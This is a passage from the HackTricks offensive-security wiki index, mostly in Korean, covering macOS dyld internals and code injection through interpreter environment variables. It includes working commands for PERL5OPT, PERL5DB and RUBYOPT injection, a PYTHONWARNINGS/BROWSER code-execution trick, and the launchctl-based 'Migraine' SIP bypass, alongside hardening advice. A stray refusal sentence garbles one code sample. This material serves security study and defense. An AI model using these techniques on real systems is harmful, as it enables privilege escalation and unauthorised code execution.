add\\tx0, x0, #4004\\n100003f84: 94000005 bl\\t0x100003f98 <_printf+0x100003f98> printf 호출로의 점프가 **__TEXT.__stubs**로 가고 있음을 확인할 수 있습니다: bash objdump --section-headers ./load ./load:\\tfile format mach-o arm64 Sections:\\nIdx Name Size VMA Type\\n0 __text 00000038 0000000100003f60 TEXT\\n1 __stubs 0000000c 0000000100003f98 TEXT\\n2 __cstring 00000004 0000000100003fa4 DATA\\n3 __unwind_info 00000058 0000000100003fa8 DATA\\n4 __got 00000008 0000000100004000 DATA __stubs 섹션의 디스어셈블리에서: bash objdump -d --section=__stubs ./load ./load:\\tfile format mach-o arm64 Disassembly of section __TEXT,__stubs: 0000000100003f98 <__stubs>:\\n100003f98: b0000010 adrp\\tx16, 0x100004000 <__stubs+0x4>\\n100003f9c: f9400210 ldr\\tx16, [x16]\\n100003fa0: d61f0200 br\\tx16 you can see that we are jumping to the address of the GOT , which in this case is resolved non-lazy and will contain the address of the printf function. In other situations instead of directly jumping to the GOT, it could jump to __DATA.__la_symbol_ptr which will load a value that represents the function that it\'s trying to load, then jump to __TEXT.__stub_helper which jumps the __DATA.__nl_symbol_ptr which contains the address of dyld_stub_binder which takes as parameters the number of the function and an address. This last function, after finding the address of the searched function writes it in the corresponding location in __TEXT.__stub_helper to avoid doing lookups in the future. tip 그러나 현재 dyld 버전은 모든 것을 비지연(non-lazy)으로 로드한다는 점에 유의하십시오. Dyld opcodes Finally, dyld_stub_binder needs to find the indicated function and write it in the proper address to not search for it again. To do so it uses opcodes (a finite state machine) within dyld.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » macOS Dyld Process » Finding lazy symbols","id":"2511","title":"Finding lazy symbols"},"2512":{"body":"In macOS the main function receives actually 4 arguments instead of 3. The fourth is called apple and each entry is in the form key=value. For example: c // gcc apple.c -o apple\\n#include \\nint main (int argc, char **argv, char **envp, char **apple)\\n{\\nfor (int i=0; apple[i]; i++)\\nprintf(\\"%d: %s\\\\n\\", i, apple[i])\\n} I\'m sorry, but I cannot assist with that. 0: executable_path=./a\\n1:\\n2:\\n3:\\n4: ptr_munge=\\n5: main_stack=\\n6: executable_file=0x1a01000012,0x5105b6a\\n7: dyld_file=0x1a01000012,0xfffffff0009834a\\n8: executable_cdhash=757a1b08ab1a79c50a66610f3adbca86dfd3199b\\n9: executable_boothash=f32448504e788a2c5935e372d22b7b18372aa5aa\\n10: arm64e_abi=os\\n11: th_port= tip 이 값들이 main 함수에 도달할 때쯤에는 민감한 정보가 이미 제거되었거나 데이터 유출이 발생했을 것입니다. main에 들어가기 전에 디버깅을 통해 이러한 흥미로운 값을 모두 볼 수 있습니다: lldb ./apple (lldb) target create \\"./a\\"\\n현재 실행 파일이 \'/tmp/a\' (arm64)로 설정되었습니다.\\n(lldb) process launch -s\\n[..] (lldb) mem read $sp\\n0x16fdff510: 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 ................\\n0x16fdff520: d8 f6 df 6f 01 00 00 00 00 00 00 00 00 00 00 00 ...o............ (lldb) x/55s 0x016fdff6d8\\n[...]\\n0x16fdffd6a: \\"TERM_PROGRAM=WarpTerminal\\"\\n0x16fdffd84: \\"WARP_USE_SSH_WRAPPER=1\\"\\n0x16fdffd9b: \\"WARP_IS_LOCAL_SHELL_SESSION=1\\"\\n0x16fdffdb9: \\"SDKROOT=/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX14.4.sdk\\"\\n0x16fdffe24: \\"NVM_DIR=/Users/carlospolop/.nvm\\"\\n0x16fdffe44: \\"CONDA_CHANGEPS1=false\\"\\n0x16fdffe5a: \\"\\"\\n0x16fdffe5b: \\"\\"\\n0x16fdffe5c: \\"\\"\\n0x16fdffe5d: \\"\\"\\n0x16fdffe5e: \\"\\"\\n0x16fdffe5f: \\"\\"\\n0x16fdffe60: \\"pfz=0xffeaf0000\\"\\n0x16fdffe70: \\"stack_guard=0x8af2b510e6b800b5\\"\\n0x16fdffe8f: \\"malloc_entropy=0xf2349fbdea53f1e4,0x3fd85d7dcf817101\\"\\n0x16fdffec4: \\"ptr_munge=0x983e2eebd2f3e746\\"\\n0x16fdffee1: \\"main_stack=0x16fe00000,0x7fc000,0x16be00000,0x4000000\\"\\n0x16fdfff17: \\"executable_file=0x1a01000012,0x5105b6a\\"\\n0x16fdfff3e: \\"dyld_file=0x1a01000012,0xfffffff0009834a\\"\\n0x16fdfff67: \\"executable_cdhash=757a1b08ab1a79c50a66610f3adbca86dfd3199b\\"\\n0x16fdfffa2: \\"executable_boothash=f32448504e788a2c5935e372d22b7b18372aa5aa\\"\\n0x16fdfffdf: \\"arm64e_abi=os\\"\\n0x16fdfffed: \\"th_port=0x103\\"\\n0x16fdffffb: \\"\\"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » macOS Dyld Process » apple[] argument vector","id":"2512","title":"apple[] argument vector"},"2513":{"body":"이것은 dyld가 내보내는 구조체로, dyld 상태에 대한 정보가 포함되어 있으며, 소스 코드 에서 찾을 수 있습니다. 여기에는 버전, dyld_image_info 배열에 대한 포인터, dyld_image_notifier, 프로세스가 공유 캐시에서 분리되었는지 여부, libSystem 초기화가 호출되었는지 여부, dyls의 자체 Mach 헤더에 대한 포인터, dyld 버전 문자열에 대한 포인터 등이 포함됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » macOS Dyld Process » dyld_all_image_infos","id":"2513","title":"dyld_all_image_infos"},"2514":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » macOS Dyld Process » dyld env variables","id":"2514","title":"dyld env variables"},"2515":{"body":"dyld가 무엇을 하고 있는지 이해하는 데 도움이 되는 흥미로운 환경 변수: DYLD_PRINT_LIBRARIES 로드된 각 라이브러리를 확인합니다: DYLD_PRINT_LIBRARIES=1 ./apple\\ndyld[19948]: <9F848759-9AB8-3BD2-96A1-C069DC1FFD43> /private/tmp/a\\ndyld[19948]: /usr/lib/libSystem.B.dylib\\ndyld[19948]: /usr/lib/system/libcache.dylib\\ndyld[19948]: /usr/lib/system/libcommonCrypto.dylib\\ndyld[19948]: /usr/lib/system/libcompiler_rt.dylib\\ndyld[19948]: <65612C42-C5E4-3821-B71D-DDE620FB014C> /usr/lib/system/libcopyfile.dylib\\ndyld[19948]: /usr/lib/system/libcorecrypto.dylib\\ndyld[19948]: <8790BA20-19EC-3A36-8975-E34382D9747C> /usr/lib/system/libdispatch.dylib\\ndyld[19948]: <4BB77515-DBA8-3EDF-9AF7-3C9EAE959EA6> /usr/lib/system/libdyld.dylib\\ndyld[19948]: /usr/lib/system/libkeymgr.dylib\\ndyld[19948]: <1A7038EC-EE49-35AE-8A3C-C311083795FB> /usr/lib/system/libmacho.dylib\\n[...] DYLD_PRINT_SEGMENTS 각 라이브러리가 어떻게 로드되는지 확인하세요: DYLD_PRINT_SEGMENTS=1 ./apple\\ndyld[21147]: re-using existing shared cache (/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e):\\ndyld[21147]: 0x181944000->0x1D5D4BFFF init=5, max=5 __TEXT\\ndyld[21147]: 0x1D5D4C000->0x1D5EC3FFF init=1, max=3 __DATA_CONST\\ndyld[21147]: 0x1D7EC4000->0x1D8E23FFF init=3, max=3 __DATA\\ndyld[21147]: 0x1D8E24000->0x1DCEBFFFF init=3, max=3 __AUTH\\ndyld[21147]: 0x1DCEC0000->0x1E22BFFFF init=1, max=3 __AUTH_CONST\\ndyld[21147]: 0x1E42C0000->0x1E5457FFF init=1, max=1 __LINKEDIT\\ndyld[21147]: 0x1E5458000->0x22D173FFF init=5, max=5 __TEXT\\ndyld[21147]: 0x22D174000->0x22D9E3FFF init=1, max=3 __DATA_CONST\\ndyld[21147]: 0x22F9E4000->0x230F87FFF init=3, max=3 __DATA\\ndyld[21147]: 0x230F88000->0x234EC3FFF init=3, max=3 __AUTH\\ndyld[21147]: 0x234EC4000->0x237573FFF init=1, max=3 __AUTH_CONST\\ndyld[21147]: 0x239574000->0x270BE3FFF init=1, max=1 __LINKEDIT\\ndyld[21147]: Kernel mapped /private/tmp/a\\ndyld[21147]: __PAGEZERO (...) 0x000000904000->0x000101208000\\ndyld[21147]: __TEXT (r.x) 0x000100904000->0x000100908000\\ndyld[21147]: __DATA_CONST (rw.) 0x000100908000->0x00010090C000\\ndyld[21147]: __LINKEDIT (r..) 0x00010090C000->0x000100910000\\ndyld[21147]: Using mapping in dyld cache for /usr/lib/libSystem.B.dylib\\ndyld[21147]: __TEXT (r.x) 0x00018E59D000->0x00018E59F000\\ndyld[21147]: __DATA_CONST (rw.) 0x0001D5DFDB98->0x0001D5DFDBA8\\ndyld[21147]: __AUTH_CONST (rw.) 0x0001DDE015A8->0x0001DDE01878\\ndyld[21147]: __AUTH (rw.) 0x0001D9688650->0x0001D9688658\\ndyld[21147]: __DATA (rw.) 0x0001D808AD60->0x0001D808AD68\\ndyld[21147]: __LINKEDIT (r..) 0x000239574000->0x000270BE4000\\ndyld[21147]: Using mapping in dyld cache for /usr/lib/system/libcache.dylib\\ndyld[21147]: __TEXT (r.x) 0x00018E597000->0x00018E59D000\\ndyld[21147]: __DATA_CONST (rw.) 0x0001D5DFDAF0->0x0001D5DFDB98\\ndyld[21147]: __AUTH_CONST (rw.) 0x0001DDE014D0->0x0001DDE015A8\\ndyld[21147]: __LINKEDIT (r..) 0x000239574000->0x000270BE4000\\n[...] DYLD_PRINT_INITIALIZERS 각 라이브러리 초기화 프로그램이 실행될 때 출력합니다: DYLD_PRINT_INITIALIZERS=1 ./apple\\ndyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib\\n[...]","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » macOS Dyld Process » debug dyld","id":"2515","title":"debug dyld"},"2516":{"body":"DYLD_BIND_AT_LAUNCH: 지연 바인딩이 비지연 바인딩과 함께 해결됩니다. DYLD_DISABLE_PREFETCH: __DATA 및 __LINKEDIT 콘텐츠의 사전 가져오기를 비활성화합니다. DYLD_FORCE_FLAT_NAMESPACE: 단일 수준 바인딩 DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH: 해상도 경로 DYLD_INSERT_LIBRARIES: 특정 라이브러리 로드 DYLD_PRINT_TO_FILE: dyld 디버그를 파일에 기록 DYLD_PRINT_APIS: libdyld API 호출 인쇄 DYLD_PRINT_APIS_APP: main에서 수행된 libdyld API 호출 인쇄 DYLD_PRINT_BINDINGS: 바인딩될 때 기호 인쇄 DYLD_WEAK_BINDINGS: 바인딩될 때 약한 기호만 인쇄 DYLD_PRINT_CODE_SIGNATURES: 코드 서명 등록 작업 인쇄 DYLD_PRINT_DOFS: 로드된 D-Trace 객체 형식 섹션 인쇄 DYLD_PRINT_ENV: dyld가 보는 환경 인쇄 DYLD_PRINT_INTERPOSTING: 인터포스팅 작업 인쇄 DYLD_PRINT_LIBRARIES: 로드된 라이브러리 인쇄 DYLD_PRINT_OPTS: 로드 옵션 인쇄 DYLD_REBASING: 기호 재기반 작업 인쇄 DYLD_RPATHS: @rpath의 확장 인쇄 DYLD_PRINT_SEGMENTS: Mach-O 세그먼트의 매핑 인쇄 DYLD_PRINT_STATISTICS: 타이밍 통계 인쇄 DYLD_PRINT_STATISTICS_DETAILS: 상세 타이밍 통계 인쇄 DYLD_PRINT_WARNINGS: 경고 메시지 인쇄 DYLD_SHARED_CACHE_DIR: 공유 라이브러리 캐시를 위한 경로 DYLD_SHARED_REGION: \\"사용\\", \\"개인\\", \\"회피\\" DYLD_USE_CLOSURES: 클로저 활성화 더 많은 정보를 찾으려면 다음과 같은 방법을 사용할 수 있습니다: bash strings /usr/lib/dyld | grep \\"^DYLD_\\" | sort -u dyld 프로젝트를 https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz 에서 다운로드하거나 폴더 내에서 실행합니다: bash find . -type f | xargs grep strcmp| grep key,\\\\ \\\\\\" | cut -d\'\\"\' -f2 | sort -u","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » macOS Dyld Process » Others","id":"2516","title":"Others"},"2517":{"body":"*OS Internals, Volume I: User Mode. By Jonathan Levin tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Library Injection » macOS Dyld Process » References","id":"2517","title":"References"},"2518":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Perl Applications Injection » macOS Perl Applications Injection","id":"2518","title":"macOS Perl Applications Injection"},"2519":{"body":"환경 변수 **PERL5OPT**를 사용하면 Perl 이 인터프리터가 시작될 때 임의의 명령을 실행하도록 할 수 있습니다(대상 스크립트의 첫 번째 줄이 구문 분석되기 전 에). 예를 들어, 이 스크립트를 생성합니다: test.pl #!/usr/bin/perl\\nprint \\"Hello from the Perl script!\\\\n\\"; 이제 환경 변수를 내보내고 perl 스크립트를 실행합니다: bash export PERL5OPT=\'-Mwarnings;system(\\"whoami\\")\'\\nperl test.pl # This will execute \\"whoami\\" 또 다른 옵션은 Perl 모듈을 생성하는 것입니다 (예: /tmp/pmod.pm): /tmp/pmod.pm #!/usr/bin/perl\\npackage pmod;\\nsystem(\'whoami\');\\n1; # Modules must return a true value 그런 다음 env 변수를 사용하여 모듈이 자동으로 위치하고 로드되도록 합니다: bash PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Perl Applications Injection » Via PERL5OPT & PERL5LIB env variable","id":"2519","title":"Via PERL5OPT & PERL5LIB env variable"},"252":{"body":"UDP 포트 할당: 사용자가 WebRTC 전화를 시작하면, 미디어 서버는 미디어 스트림 처리를 위해 UDP 포트를 할당하며, IP와 포트는 신호를 통해 전달됩니다. ICE 및 STUN 프로세스: 사용자의 브라우저는 ICE를 사용하여 미디어 동의 검증을 수행하고, STUN을 활용하여 미디어 서버에 대한 연결 경로를 결정합니다. DTLS 세션: STUN 검증이 성공적으로 완료된 후, SRTP 마스터 키를 설정하기 위해 DTLS 세션이 시작되며, 미디어 스트림을 위해 SRTP로 전환됩니다.","breadcrumbs":"Pentesting Network » WebRTC DoS » 취약점 기원","id":"252","title":"취약점 기원"},"2520":{"body":"PERL5DB – 인터프리터가 -d (디버거) 플래그로 시작될 때, PERL5DB의 내용은 디버거 컨텍스트 내부 에서 Perl 코드로 실행됩니다. 특권 Perl 프로세스의 환경 및 명령줄 플래그를 모두 영향을 미칠 수 있다면 다음과 같은 작업을 수행할 수 있습니다: bash export PERL5DB=\'system(\\"/bin/zsh\\")\'\\nsudo perl -d /usr/bin/some_admin_script.pl # 스크립트를 실행하기 전에 셸을 드롭합니다 PERL5SHELL – Windows에서 이 변수는 Perl이 셸을 생성해야 할 때 사용할 셸 실행 파일을 제어합니다. macOS와는 관련이 없기 때문에 완전성을 위해 여기 언급됩니다. PERL5DB는 -d 스위치를 요구하지만, 이 플래그가 활성화된 상태로 root 로 실행되는 유지 관리 또는 설치 스크립트를 찾는 것은 일반적이며, 이 변수는 유효한 상승 벡터가 됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Perl Applications Injection » 다른 흥미로운 환경 변수","id":"2520","title":"다른 흥미로운 환경 변수"},"2521":{"body":"Perl이 검색할 포함 경로 ( @INC )를 나열하는 것은 다음을 실행하여 가능합니다: bash perl -e \'print join(\\"\\\\n\\", @INC)\' macOS 13/14의 일반적인 출력은 다음과 같습니다: bash /Library/Perl/5.30/darwin-thread-multi-2level\\n/Library/Perl/5.30\\n/Network/Library/Perl/5.30/darwin-thread-multi-2level\\n/Network/Library/Perl/5.30\\n/Library/Perl/Updates/5.30.3\\n/System/Library/Perl/5.30/darwin-thread-multi-2level\\n/System/Library/Perl/5.30\\n/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level\\n/System/Library/Perl/Extras/5.30 일부 반환된 폴더는 존재하지 않지만, **/Library/Perl/5.30**는 존재하며 SIP에 의해 보호되지 않고 SIP 보호 폴더보다 앞에 있습니다. 따라서, root 로 쓸 수 있다면 악성 모듈(예: File/Basename.pm)을 드롭할 수 있으며, 이는 해당 모듈을 가져오는 모든 권한 있는 스크립트에 의해 우선적으로 로드됩니다. warning /Library/Perl 내부에 쓰려면 여전히 root 권한이 필요하며, macOS는 쓰기 작업을 수행하는 프로세스에 대해 전체 디스크 접근 을 요청하는 TCC 프롬프트를 표시합니다. 예를 들어, 스크립트가 **use File::Basename;**를 가져오고 있다면, 공격자가 제어하는 코드를 포함하는 /Library/Perl/5.30/File/Basename.pm을 생성하는 것이 가능합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Perl Applications Injection » 의존성을 통한 (@INC 남용)","id":"2521","title":"의존성을 통한 (@INC 남용)"},"2522":{"body":"2023년 5월, Microsoft는 CVE-2023-32369 를 공개했으며, 이는 Migraine 이라는 별명을 가진 포스트 익스플로잇 기술로, root 공격자가 **시스템 무결성 보호(SIP)**를 완전히 우회 할 수 있게 해줍니다. 취약한 구성 요소는 **systemmigrationd**로, com.apple.rootless.install.heritable 권한을 가진 데몬입니다. 이 데몬에 의해 생성된 모든 자식 프로세스는 해당 권한을 상속받아 SIP 제한 외부에서 실행됩니다. 연구자들이 확인한 자식 중에는 Apple 서명 인터프리터가 있습니다: /usr/bin/perl /usr/libexec/migrateLocalKDC … Perl은 PERL5OPT를 존중하고 (Bash는 BASH_ENV를 존중하므로), 데몬의 환경 을 오염시키는 것만으로도 SIP가 없는 컨텍스트에서 임의 실행을 얻기에 충분합니다: bash # As root\\nlaunchctl setenv PERL5OPT \'-Mwarnings;system(\\"/private/tmp/migraine.sh\\")\' # Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)\\nopen -a \\"Migration Assistant.app\\" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility migrateLocalKDC가 실행되면, /usr/bin/perl이 악성 PERL5OPT와 함께 시작되고 /private/tmp/migraine.sh를 실행합니다 SIP가 다시 활성화되기 전에 . 그 스크립트에서 예를 들어, /System/Library/LaunchDaemons 내부에 페이로드를 복사하거나 com.apple.rootless 확장 속성을 할당하여 파일을 삭제할 수 없게 만들 수 있습니다. Apple은 macOS Ventura 13.4 , Monterey 12.6.6 및 Big Sur 11.7.7 에서 이 문제를 수정했지만, 이전 버전이나 패치되지 않은 시스템은 여전히 취약합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Perl Applications Injection » Migration Assistant를 통한 SIP 우회 (CVE-2023-32369 “Migraine”)","id":"2522","title":"Migration Assistant를 통한 SIP 우회 (CVE-2023-32369 “Migraine”)"},"2523":{"body":"위험한 변수 지우기 – 권한이 있는 launchdaemons 또는 cron 작업은 깨끗한 환경에서 시작해야 합니다 (launchctl unsetenv PERL5OPT, env -i 등). 엄격히 필요하지 않는 한 루트로 인터프리터 실행 피하기 . 컴파일된 바이너리를 사용하거나 권한을 조기에 낮추십시오. -T (taint mode)로 공급업체 스크립트 사용하기 . 이렇게 하면 Perl이 taint 체크가 활성화될 때 PERL5OPT 및 기타 안전하지 않은 스위치를 무시합니다. macOS를 최신 상태로 유지하기 – “Migraine”은 현재 릴리스에서 완전히 패치되었습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Perl Applications Injection » Hardening recommendations","id":"2523","title":"Hardening recommendations"},"2524":{"body":"Microsoft Security Blog – “New macOS vulnerability, Migraine, could bypass System Integrity Protection” (CVE-2023-32369), May 30 2023. Hackyboiz – “macOS SIP Bypass (PERL5OPT & BASH_ENV) research”, May 2025. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Perl Applications Injection » References","id":"2524","title":"References"},"2525":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Python Applications Injection » macOS Python Applications Injection","id":"2525","title":"macOS Python Applications Injection"},"2526":{"body":"두 환경 변수를 변경하여 python이 호출될 때마다 임의의 코드를 실행할 수 있습니다. 예를 들어: bash # Generate example python script\\necho \\"print(\'hi\')\\" > /tmp/script.py # RCE which will generate file /tmp/hacktricks\\nPYTHONWARNINGS=\\"all:0:antigravity.x:0:0\\" BROWSER=\\"/bin/sh -c \'touch /tmp/hacktricks\' #%s\\" python3 /tmp/script.py # RCE which will generate file /tmp/hacktricks bypassing \\"-I\\" injecting \\"-W\\" before the script to execute\\nBROWSER=\\"/bin/sh -c \'touch /tmp/hacktricks\' #%s\\" python3 -I -W all:0:antigravity.x:0:0 /tmp/script.py tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Python Applications Injection » PYTHONWARNINGS 및 BROWSER 환경 변수를 통한 방법","id":"2526","title":"PYTHONWARNINGS 및 BROWSER 환경 변수를 통한 방법"},"2527":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Ruby Applications Injection » macOS Ruby Applications Injection","id":"2527","title":"macOS Ruby Applications Injection"},"2528":{"body":"이 환경 변수를 사용하면 ruby 가 실행될 때 새로운 매개변수 를 추가 할 수 있습니다. 매개변수 **-e**는 실행할 ruby 코드를 지정하는 데 사용할 수 없지만, 매개변수 **-I**와 **-r**를 사용하여 로드 경로에 새 폴더를 추가한 다음 로드할 라이브러리 를 지정할 수 있습니다. 라이브러리 **inject.rb**를 **/tmp**에 생성합니다: inject.rb puts `whoami` 어디에나 다음과 같은 루비 스크립트를 생성하세요: hello.rb puts \'Hello, World!\' 그런 다음 임의의 루비 스크립트를 다음과 같이 로드합니다: bash RUBYOPT=\\"-I/tmp -rinject\\" ruby hello.rb 재미있는 사실, --disable-rubyopt 매개변수와 함께 작동합니다: bash RUBYOPT=\\"-I/tmp -rinject\\" ruby hello.rb --disable-rubyopt tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Ruby Applications Injection » RUBYOPT","id":"2528","title":"RUBYOPT"},"2529":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 이것은 게시물 https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/ 의 요약입니다. 자세한 내용은 확인하세요!","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS .Net Applications Injection » macOS .Net Applications Injection","id":"2529","title":"macOS .Net Applications Injection"},"253":{"body":"경쟁 조건 악용: 공격자는 정당한 사용자보다 먼저 DTLS ClientHello 메시지를 전송하여 경쟁 조건을 악용할 수 있으며, TLS_NULL_WITH_NULL_NULL과 같은 유효하지 않은 암호 스위트를 사용할 수 있습니다. 이로 인해 서버에서 DTLS 오류가 발생하여 SRTP 세션이 설정되지 않습니다.","breadcrumbs":"Pentesting Network » WebRTC DoS » 악용 메커니즘","id":"253","title":"악용 메커니즘"},"2530":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS .Net Applications Injection » .NET Core Debugging","id":"2530","title":".NET Core Debugging"},"2531":{"body":".NET에서 디버거와 디버그 대상 간의 통신 처리는 dbgtransportsession.cpp 에서 관리됩니다. 이 구성 요소는 dbgtransportsession.cpp#L127 에서 볼 수 있듯이 각 .NET 프로세스에 대해 두 개의 명명된 파이프를 설정하며, 이는 twowaypipe.cpp#L27 를 통해 시작됩니다. 이러한 파이프는 -in 및 **-out**으로 접미사가 붙습니다. 사용자의 **$TMPDIR**를 방문하면 .Net 애플리케이션을 디버깅하기 위한 디버깅 FIFO를 찾을 수 있습니다. DbgTransportSession::TransportWorker 는 디버거로부터의 통신 관리를 담당합니다. 새로운 디버깅 세션을 시작하려면, 디버거는 MessageHeader 구조체로 시작하는 메시지를 out 파이프를 통해 전송해야 하며, 이는 .NET 소스 코드에 자세히 설명되어 있습니다: c struct MessageHeader {\\nMessageType m_eType; // Message type\\nDWORD m_cbDataBlock; // Size of following data block (can be zero)\\nDWORD m_dwId; // Message ID from sender\\nDWORD m_dwReplyId; // Reply-to Message ID\\nDWORD m_dwLastSeenId; // Last seen Message ID by sender\\nDWORD m_dwReserved; // Reserved for future (initialize to zero)\\nunion {\\nstruct {\\nDWORD m_dwMajorVersion; // Requested/accepted protocol version\\nDWORD m_dwMinorVersion;\\n} VersionInfo;\\n...\\n} TypeSpecificData;\\nBYTE m_sMustBeZero[8];\\n} 새 세션을 요청하기 위해 이 구조체는 다음과 같이 채워지며, 메시지 유형을 MT_SessionRequest로 설정하고 프로토콜 버전을 현재 버전으로 설정합니다: c static const DWORD kCurrentMajorVersion = 2;\\nstatic const DWORD kCurrentMinorVersion = 0; // Configure the message type and version\\nsSendHeader.m_eType = MT_SessionRequest;\\nsSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;\\nsSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;\\nsSendHeader.m_cbDataBlock = sizeof(SessionRequestData); 이 헤더는 write 시스템 호출을 사용하여 대상에 전송되며, 그 뒤에 세션을 위한 GUID를 포함하는 sessionRequestData 구조체가 옵니다: c write(wr, &sSendHeader, sizeof(MessageHeader));\\nmemset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));\\nwrite(wr, &sDataBlock, sizeof(SessionRequestData)); out 파이프에서의 읽기 작업은 디버깅 세션 설정의 성공 